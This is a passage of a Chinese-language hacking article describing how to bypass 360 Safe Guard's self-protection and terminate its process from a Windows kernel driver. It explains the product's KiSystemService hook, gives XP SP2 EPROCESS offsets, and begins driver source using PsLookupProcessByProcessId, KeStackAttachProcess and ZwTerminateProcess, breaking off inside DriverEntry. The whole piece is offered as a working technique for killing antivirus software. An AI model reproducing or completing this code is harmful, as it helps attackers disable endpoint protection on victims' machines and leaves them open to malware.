Ring0突破360自我保护.docVIP

Ring0突破360自我保护 ConTrail 看了第七期的《AU3干掉360实时保护》，很佩服作者的思路，使用AU3来结束360。文章写得很精彩，但是美中不足的是没有考虑到360的自我保护，可能是作者写文章的时候360还没有增加自我保护这个功能。 对于开了自我保护的360来说，无论是通过任务管理器，还是taskkill、ntsd命令都无法结束其进程。360的自我保护刚出来的时候还是大肆宣传了一番，说是完全可以媲美KV2008，因此我想开了这个功能的人应该不少吧。 OK，废话不多说，现在我们就来想办法，彻底突破360的自我保护。 看到进程保护，首先想到的就是Hook。记得Flowercode大牛曾经说过，360 安全卫士的自我保护方法是在 KiSystemService Hook 中过滤了一些函数，比如 ZwOpenProcess，用于阻止用户态程序结束其进程；对于使用驱动的进程管理类程序则是过滤了ZwDeviceIoControlFile函数的参数，若发现受到保护的 PID/EPROCESS 则进行干扰。因为这类程序通常都是使用明文传递DeviceIoControlCode给驱动，被360一干扰，自然不能结束进程了。 知道了原理，自然就好办了。 第一种是采用密文的方式来传递DeviceIoControlCode，简单一点采用异或加密就可以。但是这种需要ring3得到PID传给ring0，我更喜欢Do All Things In Ring0。所以采用第二种方法，标准的PsLookupProcessByProcessId - KeStackAttachProcess - ZwTerminateProcess - KeUnStackAttachProcess,所有的流程都在驱动中完成，不使用DeviceIoControlCode。废话不多说，直接上代码。 先摘录一些XPSP2环境中EPROCESS的定义片断和其他的一些数据结构的定义 ： dt _EPROCESS +0x000 Pcb : _KPROCESS +0x078 ExitTime : _LARGE_INTEGER +0x174 ImageFileName : [16] UChar +0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO dt _SE_AUDIT_PROCESS_CREATION_INFO +0x000 ImageFileName : Ptr32 _OBJECT_NAME_INFORMATION dt _OBJECT_NAME_INFORMATION +0x000 Name : _UNICODE_STRING #include ntifs.h NTSTATUS status; PEPROCESS eprocess = NULL; UNICODE_STRING path; WCHAR path_buffer[256]; WCHAR buffer[256]; int index; unsigned char* p; unsigned char* pExtiTime; KAPC_STATE apcstate; //申明要使用的API NTKERNELAPI NTSTATUS PsLookupProcessByProcessId ( IN ULONG ProcessId, OUT PEPROCESS *Process ); NTKERNELAPI VOID KeStackAttachProcess ( IN PRKPROCESS PROCESS, OUT PRKAPC_STATE ApcState ); NTKERNELAPI VOID KeUnstackDetachProcess ( IN PRKAPC_STATE ApcState ); NTSTATUS NTAPI ZwTerminateProcess( IN HANDLE ProcessHandle OPTIONAL, IN NTSTATUS ExitStatus); void DriverUnload(PDRIVER_OBJECT DriverObject) { DbgPrint(Drv unLoading!\n); return ; } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING Registry